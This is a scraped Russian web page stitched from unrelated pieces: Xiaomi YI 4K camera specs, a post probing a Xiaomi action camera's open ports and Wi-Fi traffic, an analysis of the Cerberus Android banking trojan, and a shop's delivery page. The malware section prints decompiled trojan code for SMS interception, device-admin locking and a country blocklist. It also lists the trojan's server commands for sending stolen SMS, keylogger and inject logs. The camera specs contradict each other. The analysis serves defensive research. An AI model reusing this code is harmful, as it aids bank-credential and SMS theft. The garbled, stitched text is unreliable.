Text action xiaomi что это
Xiaomi YI 4K имеет процессор Ambrella A9SE75, матрицу Sony IMX377, семилинзовый объектив LCE, угол обзора которого составляет 155 градусов, а диафрагма F 2.8. Камера способна писать видео 4К/30fps/60Mbps. На задней части камеры Xiaomi YI 4K расположился сенсорный, яркий и четкий дисплей Retina 2.19 дюймов. Экран покрыт защитным стеклом Gorilla Glass. Соотношение сторон дисплея 16:9, что позволит Вам комфортно управлять камерой. Двухдиапазонный WiFi модуль от компании Broadcom, скорость передачи данных которого достигает 30мб/с. Вам не придется долго ждать, чтобы перенести новый фильм на смартфон. Отличная стабилизация видео благодаря шестиосевому гироскопу. Не важно где находится камера, на шлеме мотоциклисты или на квадрокоптере, Вы получите четкую картинку не зависимо от условий съемки. Двойной микрофон, с высокой четкостью произведет запись каждого звук,а будь то смех детей или рев мотора спортивного автомобиля на гонках. Камера поддерживает 9 режимов записи фото и видео: стандартная съемка фотографий, стандартная запись видео, time lapse фото, time lapse видео, таймер съемки фотографий, циклическая запись видео, последовательная съемка фото, slow motion запись видео, запись видео + time lapse фото. Максимальная частота кадров при съемке HD-видео — 240 кадров/с при разрешении 1280×720, 120 кадров/с при разрешении 1920×1080, 30 кадров/с при разрешении 4K. Поддерживает MicroSD карты до 64 Гб.
Технические характеристики:
Матрица, физический размер — CMOS, 12 Мп, 1/2.3″
Поддержка видео высокого разрешения — UHD 4K (3840×2160)
Максимальная частота кадров при съемке HD-видео — 240 кадров/с при разрешении 1280×720, 120 кадров/с при разрешении 1920×1080, 30 кадров/с при разрешении 4K
Стабилизатор изображения, особенность — электронный 6-и осевой, встроенный гироскоп Bosch BMI160
Угол обзора — 155°
Поддержка карт памяти — micro SD (до 64 Гб)
Размеры — 65x42x21 мм
Ковыряем Xiaomi Mi Action Camera 4K
Умеет фотать, снимать видосы. С телефоном связывается по Wi-Fi через приложение Mi Home (я не очень понимаю, в чем связь экшен-камеры и умного дома, но ладно). Кроме приложения других официальных способов общения с камерой нет.
Смотрим, что открыто
Первым делом приконнектимся к камере с ноута, узнаем ip-адрес шлюза (который, что логично, является ip-адресом камеры) — 192.168.42.1 и запустим nmap:
nmap -A 192.168.42.1 -p-
Результаты выглядят многообещающе:
PORT STATE SERVICE VERSION
53/tcp open domain dnsmasq 2.72
| dns-nsid:
|_ bind.version: dnsmasq-2.72
80/tcp open http Cherokee httpd 1.2.101b171107_
|_http-server-header: Cherokee/1.2.101b171107_ (UNIX)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
|_ 100000 2,3,4 111/udp rpcbind
554/tcp open rtsp?
|_rtsp-methods: OPTIONS, DESCRIBE, SETUP, TEARDOWN, PLAY, PAUSE, GET_PARAMETER, SET_PARAMETER
7878/tcp open owms?
8787/tcp open msgsrvr?
9888/tcp open cyborg-systems?
12080/tcp open tcpwrapped
Service Info: OS: Unix
На камере поднят веб-сервер Cherokee, RTSP (протокол для стриминга) и куча других непонятных сервисов.
Начнём с веб-сервера.
Во всех папках кроме DCIM пусто. В DCIM лежат все файлы с внешней карты памяти.
Сходу больше ничего интересного найти не получилось — теперь попробуем вытащить что-нибудь полезное из трафика между приложением и камерой.
Снифаем трафик
Кейс стандартный: переводим Wi-Fi ноута в режим мониторинга (как это сделать — можно почитать здесь и здесь), пишем трафик через Wireshark, скармливаем ему же ключ шифрования.
С ключом шифрования не всё так просто. Камера даёт восьмизначный пароль к WPA-PSK, но Wireshark такое не кушает — ему нужен сырой 256-битный PSK, который генерируется на основе названия и пароля точки доступа. Сделать его можно тут. Далее нужно зайти в Edit -> Preferences -> Protocols -> IEEE 802.11, возле надписи “Decryption keys” тыкнуть “Edit…” и добавить сгенеренный PSK.
Теперь можно снифать. Всё лишнее убирается фильтром по ip (192.168.42.1).
Первым делом посмотрим RTSP.
Открываем rtsp://192.168.42.1/live в каком-нибудь проигрывателе типа VLC…
Далее пробежимся по TCP-стримам.
Промежуточные итоги
Мы научились делать почти всё то же, что умеет приложение. Не разобрались с портом 9888 (“cyborg-systems” — интригующее предположение от nmap’а). В целом камера выглядит сыроватой (как и весь остальной производящийся IoT) и вполне вероятно, что в следующих статьях мы получим на ней шелл 🙂
Иследование современного Malware Cerberus под Android
На носу 2020 год и сегодня мы имеем уже версию Android 9.0 Pie, где компания Google бьет себе в грудь и говорит что их продукт защищен. Но злодеи не дремлют и создают свои вредоносы для Android.
Случайным образом мне попался на руки обфусцированный apk файл, который является банковской малварью под названием «Cerberus», и появился он в 2019 году.
APK файл данного ботнета попал мне с недействительным адресом соединения с сервером, по этому часть логики работы и функционала осталась неизученной, так как данный ботнет использует «модульную» систему, и подгружает функционал напрямую со своего сервера.
Анализ apk пакета
После анализа apk-пакета, я составил структуру троянской программы:
- Receiver, autorun + alarm;
- Service, работает в цикле с интервалом 8 секунд, он отвечает за показ всплывающего сообщения для включения Accessibility Service, активации функции блокировки экрана и отключения прав администратора;
- Service, собирающий данные с датчиков девайса, таким образом малварь получал физическое активность девайса;
- Service, в цикле блокирует экран девайса;
- Service, отвечает за обмен данных с сервером;
- Activity, подгружает html код в WebView, и показывает содержимое, служит для подмены активити приложения банка;
- Activity, запрашивает опасные разрешения.
- Class, хранит в себе основные строки(String) проекта
Начнём с манифеста
Манифест у приложения достаточно интересный, и уже по нему можно определить что это не простое приложение, а обыкновенная малварь.
Например рассмотрим разрешения для приложения:
Тут можно заметить, что приложение получает доступ к СМС, контактам, звонкам, интернету, работа приложения в спящем режиме.
Идём дальше, и видим привилегии, которые позволяют приложению становиться основным для получения\отправки смс, это злодеи используют для скрытия СМС сообщений на телефонах жертв.
Ну и конечно Ресивер, он служит для автозапуска сервисов, и перехвата СМС.
Права администратора, это уже намного интереснее. Приложению они нужны для блокировки удаления приложения (при включенных правах администратора, кнопки «удалить» у приложения просто не будет), так же эти права позволят удалить всё с устройства, блокировать девайс.
Ну и самое интересное, это Accessibility Service. Он используется для того, чтобы малварь могла сама кликать по экрану, и давать себе нужные разрешения, в том числе и админ права. Через это разрешение злоумышленники отслеживают все действия пользователя на устройстве.
Ну и остальные сервисы и активити, которые не представляют особого интереса без валидного адреса сервера малвари.
В общем малварь не использует ничего сверхъестественного, в ней нету ни использования каких либо 0-day на андроид. Злоумышленникам нужно добиться от жертвы включения одного разрешения, и не более, дальше малварь всё сделает сама.
Google надо бы ограничить некоторые возможности API для приложений не из плей маркета.
Receiver
Код данного класса обфусцирован, но это не мешает его изучить.
Обфусцированный код
public void onReceive(Context context, Intent intent) < int i; C0005b bVar; String str; String sb; if (!this.f345b.mo39d(context, this.f344a.f243g).contains(this.f344a.f45aS) && !this.f345b.mo32b(context)) < this.f345b.mo24a(this.f347d, this.f344a.f46aT); C0005b bVar2 = this.f345b; this.f344a.getClass(); C0005b.m16a(context, "", 10000); int i2 = 0; while (true) < if (i2 < this.f344a.f241ec.length) < if (VERSION.SDK_INT >= 26 && !this.f346c.mo14b(context)) < break; >if (this.f345b.mo25a(context, this.f344a.f241ec[i2])) < if (ppknbeydxzuwxxv.class.getName().equals(this.f344a.f241ec[i2].getName())) < context.stopService(new Intent(context, this.f344a.f241ec[i2])); >bVar = this.f345b; str = this.f347d; StringBuilder sb2 = new StringBuilder(); sb2.append(this.f344a.f90bK); sb2.append(this.f344a.f241ec[i2]); sb = sb2.toString(); > else if (lsbcgaldiywkd.class.getName().equals(this.f344a.f241ec[i2].getName())) < context.startService(new Intent(context, this.f344a.f241ec[i2])); bVar = this.f345b; str = this.f347d; StringBuilder sb3 = new StringBuilder(); sb3.append(this.f344a.f88bI); sb3.append(this.f344a.f241ec[i2]); sb = sb3.toString(); >else < int parseInt = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f47aU)); this.f344a.getClass(); if (parseInt >= 0) < context.startService(new Intent(context, this.f344a.f241ec[i2])); bVar = this.f345b; str = this.f347d; StringBuilder sb4 = new StringBuilder(); sb4.append(this.f344a.f89bJ); sb4.append(this.f344a.f241ec[i2]); sb = sb4.toString(); >else < i2++; >> bVar.mo24a(str, sb); i2++; > else < break; >> this.f345b.mo23a(this.f347d, context); this.f345b.mo22a(context, this.f344a.f259w, this.f345b.mo33b(context, pzjzcxauihlf.class) ? this.f344a.f42aP : this.f344a.f39aM); if (intent.getAction().equals(this.f344a.f29aC)) < this.f345b.mo20a(context, intent); >try < i = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f58af)); int parseInt2 = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f57ae)) + 1; i++; C0005b bVar3 = this.f345b; String str2 = this.f344a.f57ae; StringBuilder sb5 = new StringBuilder(); this.f344a.getClass(); sb5.append(""); sb5.append(parseInt2); bVar3.mo22a(context, str2, sb5.toString()); C0005b bVar4 = this.f345b; String str3 = this.f344a.f58af; StringBuilder sb6 = new StringBuilder(); this.f344a.getClass(); sb6.append(""); sb6.append(i); bVar4.mo22a(context, str3, sb6.toString()); >catch (Exception e2) < e = e2; i = 0; C0005b bVar5 = this.f345b; String str4 = this.f344a.f252p; StringBuilder sb7 = new StringBuilder(); sb7.append("(pro8) | vvcy "); sb7.append(e.toString()); sb7.append("::endLog::"); bVar5.mo31b(context, str4, sb7.toString()); if (i >= 3) < return; >return; > if (i >= 3 && !this.f345b.mo46i(context) && this.f345b.mo48k(context) && this.f345b.mo33b(context, pzjzcxauihlf.class)) < if (this.f345b.mo33b(context, pzjzcxauihlf.class)) < this.f345b.mo22a(context, this.f344a.f12M, this.f344a.f42aP); >Intent intent2 = new Intent(context, lvhxcug.class); intent2.putExtra(this.f344a.f87bH, this.f344a.f42aP); intent2.addFlags(268435456); intent2.addFlags(536870912); intent2.addFlags(1073741824); context.startActivity(intent2); C0005b bVar6 = this.f345b; String str5 = this.f344a.f58af; StringBuilder sb8 = new StringBuilder(); this.f344a.getClass(); sb8.append(""); sb8.append(0); bVar6.mo22a(context, str5, sb8.toString()); > > >
А теперь немного пояснений по коду.
Настройки малвари хранятся XML файле, файл находится в директории /data/data/имя_пакета/shared_prefs/Settings.xml
- public String ReadXML — метод для чтения настроек
- public String SaveXML — метод для сохранения настроек
- public boolean DozeMode — Проверяет включен ли режим Doze Mode
- public class Service_fa extends Service — Сервис для сборки физической активности девайса (шаги, тряска телефона и прочее)
- public class Service_server extends Service — Сервис для соединения с сервером
- public class Service_event_loop extends Service — Сервис работающий в беcконечном цикле для выполнений некоторых функций малвари
- public void startOffDozeMode — запрос для отключения режима Doze Mode
- public void startAlarm — Запуск ресивера каждые 10 секунд
- public void interceptionSMS — Метод для работы с перехатом СМС
- public boolean isAccessibilityService — метод для проверки включен ли Accesibility Service или нет
- public boolean cis — метод, который блокирует работу малвари по странам, входящим в СНГ, а конкретно это: ua, ru, by, tj, uz, tm, az, am, kz, kg и md (сокращённые названия стран)
Читаемый код
public void onReceive(Context context, Intent intent) < public Class[] arrayService = ; if ((!ReadXML(context, "kill").contains("dead")) && (!cis(context))) < startAlarm(context, "", 10000); for (int i = 0; i < arrayService.length; i++) < if ((Build.VERSION.SDK_INT >= 26) && (!DozeMode(context))) break; if (!isMyServiceRunning(context, arrayService[i])) < if (Service_fa.class.getName().equals(arrayService[i].getName())) < startService(new Intent(context, arrayService[i])); >else if (Integer.parseInt(ReadXML(context, "step")) >= 1) < startService(new Intent(context, arrayService[i])); >>else < if(Service_server.class.getName().equals(arrayService[i].getName()))< stopService(new Intent(context, arrayService[i])); >> > startOffDozeMode(context); if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) < interceptionSMS(context, intent); // Перехват СМС >if (isAdminDevice(context)) < if ((getScreenBoolean(context)) && (isAccessibilityServiceEnabled(context, srvSccessibility.class))) < if (isAccessibilityServiceEnabled(context, srvSccessibility.class)) < SaveXML(context, consts.autoClick, "1"); >Intent intent = new Intent(context, Admin.class); intent.putExtra("admin", "1"); intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP); intent.addFlags(Intent.FLAG_ACTIVITY_NO_HISTORY); startActivity(intent); > > > public void interceptionSMS(Context context, Intent intent) < Bundle bundle = intent.getExtras(); if (bundle != null) < final Object[] pdus = (Object[]) bundle.get(consts.string_116); String number = ""; String text = ""; if (pdus != null) < for (Object aPdusObj : pdus) < SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) aPdusObj); number = smsMessage.getDisplayOriginatingAddress(); text += smsMessage.getDisplayMessageBody(); >SaveXML(context, "LogSMS", "Number: " + number + " Text: " + text + "::endLog::"); > > > >
Так думаю код стал более понятен многим читателям.
У Receiver есть 3 триггера на срабатывание, а это при перезагрузке устройства, получении СМС или при запуске Alarmon.
Так же Receiver запускает 3 сервиса:
- Cбор физической активности девайса(Service_fa)
- Сервис для соединения с сервером(Service_server)
- Сервис работающий в беcконечном цикле для выполнений некоторых функций малвари(Service_event_loop)
Так же Receiver запускает запрос отключения Doze Mode и запрос подтверждения прав администратора.
Так как малварь имеет привилегии администратора, его нельзя удалить с девайса пока не будут сняты права.
Права администратора
Давайте рассмотрим какие возможности мы имеем благодаря Admin Device.
элемент force-lock отвечает за права блокировки экрана девайса, а wipe-data за удаление раздела DATA, CACHE, и всей памяти на устройстве (его полный сброс).
Service_fa
На этом мы закончим рассматривать Receiver, и рассмотрим другие сервисы. Сервис который снимает данные с сенсорных датчиков используя класс SensorManager, этот сервис просто получает данные активности и сохраняет их в файл XML.
Благодаря этому злодеям получатся получить историю активности и произвести её анализ для отсеивания эмуляторов и особо ленивых пользователей.
Service_server
Этот поток создан для общения с сервером, данные передаются на сервер в зашифрованном виде используя алгоритм шифрования RC4 кодируя после него все в base64.
При запуске сервиса первый запрос на сервер выглядит так:
Данные отправляемые на сервер я заполнил случайным образом, по названию параметров думаю всё понятно, какой за что отвечает, по этому на их разборе останавливаться не будем.
Теперь смотрим какие могут быть ответы сервера, малварь проверяет возвращает ли пустой ответ, если да, то начинает перебирать массив доменов серверов в цикле, и отправлять этот запрос на каждый домен, и если в ответе будет строка == «~I~», то малварь останавливается на этом домене и начинает работать с ним.
Мы определились с каким доменом работаем, теперь смотрим остальные ответы.
Если возвращается Response == «||youNeedMoreResources||» то сразу идет запрос на сервер для получения дополнительного модуля малвари:
gate_url?action=getModule&data=
Идем дальше, Response == «||no||»
отравляет на сервер запрос gate_url?action=registration&data=JSON:
Этот запрос служит для регистрации нового пользователя в админ панели, на этом запросы к серверу закончились.
Но ниже есть условие которое проверяет наличие файла «system.apk».
if(new File(getDir(this.f301a.f215dd, 0), this.f301a.f115bj).exists())<>
if (new File(getDir("apk", Context.MODE_PRIVATE), "system.apk").exists()) <>
если файл присутствует, формируется JSON в виде:
В параметр response передается ответ с сервера, далее json передается в метод который находится модуле «system.apk» и с помощью класса DexClassLoader он выполняется.
Service_event_loop
Данный сервис работает в цикле и ждет команды на блокировку девайса. Девайс блокируется в цикле при помощи прав администратора.
DevicePolicyManager deviceManager = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE); deviceManager.lockNow();
Данный сервис умеет отключать права администратора, видимо автор малвари это решил сделать для «самоуничтожения» малвари, чтобы не оставлять следов на телефоне жертв.
ComponentName componentName = new ComponentName(this, DeviceAdmin.class); DevicePolicyManager devicePolicyManager = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE); devicePolicyManager.removeActiveAdmin(componentName);
Так же цикл имеет 2 скорости работы, 1 секунда и 8 секунд, если Accessibility Service отлючен, то работает на 1-й секунде и просит включить данный сервис, просто открывая Activity и заставляет включить специальные возможности, на практике подробно это рассмотрим.
В конце цикла также есть реализация как и в Service_server, а конкретне отправка команд в метод, который находится внутри подгруженного модуля «system.apk», но параметры не много другие, смотрим JSON:
tick — секунды которые считает цикл сервиса, accessibility — проверяет включен ли Accesibility Service.
Класс String(s)
Все строки внутри класс зашифрована алгоритмом RC4, после чего закодированы в base64.
зашифрованный строка: yyshybiwijujYzdkZDdkMjRlYjJmYjU5Y2Qw
где первые 12 символов страки это ключь расшифрования алгоритма RC4
Ключи: yyshybiwijuj
Зашифрованный текст: YzdkZDdkMjRlYjJmYjU5Y2Qw
Вот часть кода класса String(s)
/* renamed from: A */ public final String f0A = mo1a("yyshybiwijujYzdkZDdkMjRlYjJmYjU5Y2Qw"); /* renamed from: B */ public final String f1B = mo1a("dfpzkejthefgZDA1NTUyNmJiYWU4M2ViMjhjMGJmNTYx"); /* renamed from: C */ public final String f2C = mo1a("ewpskxnrtsvaMTBkOWRmZDAxZTZjNjkxZjhiYzYyOA=="); /* renamed from: D */ public final String f3D = mo1a("ugqxhrpujzmaYTgwZjQ0NjBhN2Y1YmM1MDhjZjdkZWEwYzljZGIxOWY4NDEy"); /* renamed from: E */ public final String f4E = mo1a("xlzrjjolkozwZTRjOGY5OTZjMTExMTgwYTE0ZGQ="); /* renamed from: F */ public final String f5F = mo1a("wtxndsosbhnaYzZjNzhhYzA2MDMyMTBkOA=="); /* renamed from: G */ public final String f6G = mo1a("nmibahlxjjsxM2IzNjY4NGUyZDIzYmYwZGVi"); /* renamed from: H */ public final String f7H = mo1a("vvgipgmxvxloN2NmZDdlNTkyNjRhYWVlMzkzZGIzMGFiYTUzM2E5"); /* renamed from: I */ public final String f8I = mo1a("zuqkhqhqsrvgMDczYWRkZmYyOTE5NmVmMzk2Yzc java"> /* renamed from: A */ public final String str_statMails = "statMails"; /* renamed from: B */ public final String str_activeDevice = "activeDevice"; /* renamed from: C */ public final String str_timeWorking = "timeWorking"; /* renamed from: D */ public final String str_statDownloadModule = "statDownloadModule"; /* renamed from: E */ public final String str_lockDevice = "lockDevice"; /* renamed from: F */ public final String str_offSound = "offSound"; /* renamed from: G */ public final String str_keylogger = "keylogger"; /* renamed from: H */ public final String str_activeInjection = "activeInjection"; /* renamed from: I */ public final String str_timeInject = "timeInject";
Так же видим что в этом классе хранится:
/* renamed from: ay */ public final String str_url = "https://twitter.com/LukasStefanko"; /* renamed from: az */ public final String str_Accessibility = "Flash Player Service"; /* renamed from: bb */ public final String str_gate1 = "action=registration&data="; /* renamed from: bc */ public final String str_gate2 = "action=sendInjectLogs&data="; /* renamed from: bd */ public final String str_gate3 = "action=sendSmsLogs&data="; /* renamed from: be */ public final String str_gate4 = "action=timeInject&data="; /* renamed from: bf */ public final String str_gate5 = "action=sendKeylogger&data="; /* renamed from: bg */ public final String str_gate6 = "action=getModule&data="; /* renamed from: bh */ public final String str_gate7 = "action=checkap&data="; /* renamed from: bj */ public final String str_country = "[ua][ru][by][tj][uz][tm][az][am][kz][kg][md]";
URL сервера указан твиттер ресечера Lukas Stefanko(@LukasStefanko), видимо автор хотел пошутить или что-то сказать Лукасу (Это аналитик из NOD32), так же тут хранится имя Accessibility Service + то же название хранится в манифесте android:label=«Flash Player Service», и список стран, по которым не работает малварь.
Остальное
Кратко опишу работу инжектов. Она реализована просто, если включен Accessibility Service, то данный сервис просто ловит событие о запуске банковского приложения и запускает поверх активити банка свое активити, где оно имеет объект WebView который прогружает html-фейк банка, после чего получает данные с помощью JavaScript и отправляет данные на сервер малвари.
Так же в этом сервисе реализован Keylogger, блокировки удаления малвари и автоклик по подтверждениями. Было обнаружено взаимодействие отключения безопасности в приложение «com.miui.securitycenter». Это приложение называется «Безопасность» которые используется на девайсах Xiaomi, его основные задачи следить за безопасностью ваших конфиденциальных данных. Так же был обнаружен код для автоматического отключения «Google Play Protect» методом автоклика.
Перейдем к практике
Мне удалось найти твиттер злодеев и добыть скриншот админ панели

Устанавливаю apk-пакет на эмулятор с API 27.
На рабочем столе появилась иконка флеш плеера с названием «Flash Player»
Скриншот
Ждем по иконке, и у нас запускается малварь.
После запуска малвари, автоматический запускается Активити с требованием включения Accessibility Service, если свернуть ее, она появится снова и это происходит в цикле до тех пор пока я не включил сервис.
Скриншот

После включения галочки Accessibility Service, выполнился автоматический переход с настроек на рабочий стол, и больше у меня не получилось попасть в настройки Accessibility Service, также исчезла иконка с рабочего стола, через несколько секунд появился запрос отключения Doze Mode, он автоматически отключился благодаря автоклику специальных возможностей.
Скриншот
Cледом таким же образом было авто подтверждения прав администратора. Удалить малварь в ручном режиме не удалось так как при открытие настроек данного приложение был автоматический выход назад (GLOBAL_ACTION_BACK).
Собственно это все по первой части, в скором времени напишу вторую часть с дополнительным а возможно с основным модулем данного бота, так как найти apk файл малвари с валидной ссылкой на сервер мне не удалось.
Реверс малвари был реализован совместно с keklick1337
- Java
- Разработка под Android
- Реверс-инжиниринг
Экшн-камера Yi 4k Action Camera

Вы можете забрать товар в нашем магазине самостоятельно по адресу: г. Тула, ул. Жаворонкова 1 (остановка Стадион Арсенал).
Время работы: ежедневно 10:00 — 20:00
Для того, чтобы в магазине присутствовала интересующая Вас модель, сделайте заказ любым удобным для Вас способом, наш менеджер свяжется с Вами для согласования даты и времени Вашего приезда и подтвердит наличие товара в магазине
Самовывоз осуществляется бесплатно.
Доставка
Магазин Технологии Будущего предлагает несколько вариантов доставки:
- курьерская доставка
- самовывоз из магазина
- самовывоз из пунктов выдачи СДЭК, Boxberry.
Вы можете заказать доставку товара с помощью курьера, который прибудет по указанному адресу в будние и выходные дни. После оформления заказа менеджер магазина свяжется с вами и согласует все вопросы предложит выбрать удобное время доставки и уточнит адрес.
Мы понимаем Ваше желание быстрее получить долгожданную покупку, поэтому, при наличии товара и подтверждении заказа до 14:00 доставка осуществляется в день заказа; после 14:00 – доставка осуществляется на следующий день (при наличии свободных курьеров доставка может быть осуществлена также в день заказа)
- Будни: с 10.00 до 21.00
- Выходные дни: с 10.00 до 21.00.
При доставке товара, в указанное Вами место, мы распакуем и продемонстрируем товар и предоставим всю необходимую документацию (товарный чек, инструкцию, гарантийный талон)
Обращаем Ваше внимание, что товары весом выше 20 кг, мы доставляем до подъезда (стоимость доставки до квартиры крупногабаритного груза составляет 200 рублей).
Оплaтa пpoизвoдится нaличными куpьеpу пpи пoлучении тoвapa нa pуки и егo пoлнoй пpoвеpке.
Стоимость: в пределах Тулы — бесплатно, если сумма заказа более 10000 рублей. (Только при наличной оплате) Если менее, то доставка по Туле — от 150 рублей.
Грузы весом 20 кг и выше доставка в пределах Тулы — от 300 рублей.
По России — стоимость курьерской доставки от 400 рублей.
Дополнительные услуги:
Аквазащита
Защитите Ваше устройство от попадания влаги на оголенные провода, плату мотор колес, батарею и другие электрические элементы.
- Описание
- Отзывы
- Характеристики
- Аксессуары
- Дополнительные услуги
- Вопрос-ответ
- Инструкции и документы
Описание
Описание товара
Профессиональное качество, созданное для вас
Экшн-камера Ксиоми Yi 4k Action Camera – энергоэффективный чип нового поколения Ambarella A9SE75, матрица Sony IMX377, 7-слойная стеклянная линза. Камера создана, чтобы открыть возможность снимать видео в 4К формате при 30 fps и 60 mbps.

Мастер-чип Ambarella A9SE75
- высокая производительность
- низкие энергозатраты
Новый чип Ambarella A9SE75 высокопроизводительный и энергосберегающий – это сердце Yi 4К. Чтобы создать камеру настолько мощную и компактную одновременно, Ксиоми использовали ультрасовременную 28 нм CMOS технологию. Повышенная скорость и уменьшенные затраты энергии, благодаря 800 МГц двуядерному процессору Cortest-A9 ARM и высокоэффективному DSP процессору. Н.264 ВР/МР/НР кодирование обеспечивает высококачественную видеосъемку при более низком бит рейте, увеличивая допустимое время съемки, даже если вы снимаете 4К/30fps. Снимайте все ваши невероятные приключения с помощью Yi 4К при температуре от -20о и до 85о.
- Н.264 кодирование видео
- 28 нм CMOS
- 3D подавление шума
- 800МГц двуядерный процессор

7-слойная стеклянная линза
Экшн-камера Yi 4K имеет 7-слойную оптическую стеклянную линзу в сочетании с широкой апертурой F2.8 увеличивает поглощение света, чтобы снимать живые и детализированные футажи.
Идеальный LCD экран
Индивидуальная разработка объединила в себе 330 PPI высокочувствительную сенсорную технологию Retina Touch Screen для удобного и простого управления и 2.9 дюймовое защитное стекло Gorilla Glass, способное защитить экран от царапин и ударов. Обзор дисплея достигает 160о без искажений, разрешение составляет 640х260. С оптимальным соотношением экрана 16:9, вы сможете быстро и легко настроить нужный кадр и сделаете идеальный снимок. Управляйте Yi 4K с помощью лишь кончиков ваших пальцев. Вам больше не понадобится много дополнительных устройств.
- 2.19” сенсорный экран
- Экран 16:9
- Расширение 640х360
- Угол обзора 160о

Батарея высокой емкости 1400 mAh
В камере использовали лидирующий в мире 1400 mAh литий-ионный аккумулятор от Ampetrex Technology (поставщик iPhone) с высоким напряжением 4.4V. Таким образом, экшн-камера Yi 4K способна работать до 8 часов в режиме ожидания и 120 мин. при съемке высококачественного 4К/30 fps видео без WiFi и с выключенным LCD экраном.

Двухполосный, высокоскоростной WiFi от Broadcom
Лидирующий провайдер инновационных телекоммуникационных решений Broadcom создали чип ВСМ43340, работа которого едва даст вам время, чтобы моргнуть. Поддержка 802.11 a/b/g/n 5ГГц Wi-Fi передачи повышает электромагнитное проникновение и производит эффект анти-помех, который является улучшением к 2.4ГГц передаче. Загрузка на скорости до 30 Mbps и больше времени для того, чтобы снимать, монтировать и делится.

Специальное приложение Yi Action App
6-30 секунд монтажа, красочные фильтры и звуковое оформление. Даже, если вы новичок – работайте, как профессионал. Вы больше никогда не захотите возвращаться к компьютеру.

Вневременный дизайн
Менее 100 г веса мировых лидирующих технологий соединились в цельнолитом ударостойком корпусе экшн-камеры Yi 4К, который с легкостью разместится в вашем кармане, чтобы всегда быть наготове к чему бы то ни было. С новыми цветовыми решениями и высококачественным дизайном, вы получите не только невероятное устройство для съемки в качестве 4К, но и модный аксессуар, который вы все ждали.
